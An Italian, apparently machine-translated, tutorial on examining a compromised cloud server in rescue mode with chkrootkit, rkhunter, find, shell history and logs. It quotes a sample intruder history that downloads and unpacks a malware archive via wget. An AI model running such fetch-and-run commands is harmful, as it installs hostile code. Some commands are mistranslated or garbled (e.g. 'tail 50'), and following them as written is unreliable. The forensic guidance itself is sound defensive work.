Nell'articolo Verifica di una compromissione della sicurezza:backdoor e intrusi, hai appreso alcune tecniche di base per raccogliere le informazioni necessarie per identificare gli intrusi che hanno compromesso il tuo server. Questo articolo descrive come utilizzare la Modalità di salvataggio del Pannello di controllo cloud per dare un'occhiata più da vicino al tuo sistema. Puoi utilizzare la modalità di ripristino per capire meglio in che modo il tuo server è stato compromesso e per identificare i file non compromessi prima di eseguire il backup dei dati.
Attiva la modalità di salvataggio
Poiché anche il sistema operativo del tuo Cloud Server potrebbe essere compromesso, non puoi fare affidamento su di esso. L'intruso potrebbe aver compromesso binari come "ls", "find" e "netstat", quindi il loro output potrebbe fuorviarti. Di conseguenza, è necessario utilizzare un ambiente del sistema operativo diverso per indagare in sicurezza sul compromesso.
Puoi farlo utilizzando la funzione della modalità di salvataggio fornita nel pannello di controllo del cloud. Per istruzioni e ulteriori informazioni, consulta Modalità soccorso.
Mentre il tuo server è in modalità di ripristino, puoi eseguire le seguenti azioni per individuare l'origine della compromissione.
Cerca i rootkit
Ti consigliamo di installare e utilizzare i seguenti strumenti per scansionare il tuo sistema alla ricerca di rootkit.
Cerca i rootkit con chkrootkit
chkrootkit
cerca firme note nei sistemi binari compromessi. Ad esempio, alcune versioni compromesse di ps
avere "/dev/ptyp
” dentro di loro. Consigliamo di installare chkrootkit
usando il tuo gestore di pacchetti invece di compilare dal sorgente. Per ulteriori opzioni e informazioni sull'utilizzo di chkrootkit, vedere http://www.chkrootkit.org/README.
-
Per installarlo, esegui il seguente comando:
apt-get install chkrootkit
-
Esegui
chkrootkit
contro il file system montato del Cloud Server:chkrootkit -r /mnt/demo
I seguenti messaggi vengono stampati da chkrootkit
durante i suoi test:
-
INFECTED
- il test ha identificato un comando probabilmente modificato da un rootkit noto -
not infected
- il test non ha trovato alcuna firma di rootkit nota -
not tested
- il test non è stato eseguitoCiò potrebbe verificarsi nelle seguenti situazioni:
- Il test è specifico del sistema operativo
- Il test dipende da un programma esterno che non è disponibile
- Sono fornite alcune opzioni specifiche della riga di comando (ad esempio,
-r
)
-
not found
- il comando da testare non è stato trovato -
Vulnerable but disabled
- il comando è infetto
Per ulteriori opzioni e informazioni sull'utilizzo di chkrootkit
, vedere https://www.chkrootkit.org/README.
Cerca i rootkit con rkhunter
Rootkit Hunter (rkhunter
) controlla i sistemi rispetto a un database di rootkit noti. Può anche controllare altri file di sistema per assicurarsi che siano in linea con le proprietà e i valori previsti.
-
Accedi alla tua applicazione terminale e passa ai tuoi
sources
directory:cd ~/sources
-
Scarica l'ultima versione di
rkhunter
dall'area download di SourceForge:https://sourceforge.net/projects/rkhunter/files/
-
Dopo aver installato
rkhunter
, eseguilo su/mnt/demo
.rkhunter -c -r /mnt/demo
rkhunter
produce avvisi durante i test che indicano dove un file si è discostato dalle impostazioni predefinite previste. Dopo il test, è possibile controllare il registro per visualizzare informazioni più dettagliate su quali file hanno prodotto l'avviso. Per ulteriori opzioni e informazioni sull'utilizzo di rkhunter
, vedi https://rkhunter.cvs.sourceforge.net/viewvc/rkhunter/rkhunter/files/README.
Controlla gli ultimi comandi
Per avere un'idea di come è stata violata la sicurezza del Cloud Server, controlla quali utenti hanno eseguito i comandi prima che il Cloud Server venisse compromesso.
La storia di .bash contiene gli ultimi comandi utilizzati con la shell Bash. Devi controllare .bashhistory file nella directory home di ciascun utente. Il .bashhistory più importante il file è quello che appartiene a root:/root/.bashhistory .
Un Cloud Server compromesso potrebbe avere voci come le seguenti:
wget https://malware.tar.gz
gunzip malware.tar.gz
tar xf malware.tar
Controlla i pacchetti installati
Tutte le modifiche al sistema di confezionamento sono archiviate in /var/log/dpkg.log su distribuzioni basate su Debian. Controlla questo file per qualsiasi attività sospetta come pacchetti installati o rimossi o un bus modificato.
Esegui il comando seguente per mostrare le ultime 50 righe di dpkg.log file:
tail 50 /mnt/demo/var/log/dpkg.log
Usa il comando trova
Il find
Il comando viene solitamente utilizzato per trovare nomi di file con schemi specifici. Tuttavia, puoi anche usarlo per trovare i file che sono stati modificati o a cui si è avuto accesso entro un periodo di tempo specifico.
Ad esempio, puoi trovare tutti i file in /etc di proprietà di root che sono stati modificati negli ultimi due giorni, come segue:
find /mnt/demo/etc -user root -mtime -2
Le opzioni disponibili sono le seguenti:
-atime: when the file was last accessed
-ctime: when the file's permissions were last changed
-mtime: when the file's data was last modified
Nota il segno meno davanti a "2" nell'esempio precedente. Le opzioni "time" per find
comando sono espressi in incrementi di 24 ore e il simbolo utilizzato davanti al numero può indicare minore di o maggiore di .Quindi '-2' significa che vuoi trovare i file che sono stati modificati negli ultimi due giorni. Se vuoi trovare i file che sono stati modificati più di 2 giorni fa, usa +2
:
find /mnt/demo/etc -user root -mtime +2
Esistono anche versioni di atime
, ctime
e mtime
argomenti che misurano il tempo in minuti:
-amin: when (in minutes) the file was last accessed
-cmin: when (in minutes) the file's permissions were last changed
-mmin: when (in minutes) the file's data was last modified
Esempio
Trova tutti i file nel tuo Cloud Server di proprietà della demo
utenti a cui è stato effettuato l'accesso negli ultimi cinque minuti:
find /mnt/demo -user demo -amin -5
Il seguente elenco di find
le opzioni di comando potrebbero essere utili durante l'indagine sull'indagine del Cloud Server compromesso:
-nouser: shows output not associated with an existing userid
-nogroup: shows output not associated with an existing groupid
-links n: file has n links
-newer file: file was modified more recently than file
-perm mode: file has mode permissions
Controlla log e file sospetti
Puoi trovare un intruso controllando la presenza di file sospetti in /tmp ,/var/tmp , /dev/shm , /var/spool/samba , /var/spool/squid e/var/spool/cron .
Puoi anche guardare i file di registro in /var/log directory. Ad esempio,auth.log registra le informazioni di accesso dell'utente, inclusi gli indirizzi IP.
Riepilogo
In Verifica di una compromissione della sicurezza:backdoor e intrusi, hai appreso alcune tecniche da utilizzare per scoprire le backdoor e rintracciare gli intrusi nel tuo Cloud Server. Questo ti aiuterà a evitare la situazione o l'errore che ha portato al compromesso, riducendo al minimo la possibilità di compromessi futuri. In questo articolo hai imparato come investigare il tuo Cloud Server in modalità rescue.
Che sia causato da virus, danneggiamento dei file, guasto della macchina o altri incidenti imprevisti, la possibilità di perdita di dati è reale. Per evitare l'interruzione che una tale perdita può causare, eseguire regolarmente il backup dei file. Di seguito sono elencate alcune opzioni per aiutarti a proteggere i tuoi file:
- Rackspace Cloud Backup è una buona scelta per i clienti di Cloud Server. È completamente integrato con i server cloud ed è un'alternativa di backup basata su file al backup dell'intero server di immagini.
- Per coloro che preferiscono farlo da soli, consulta Eseguire il backup dei file con rsync.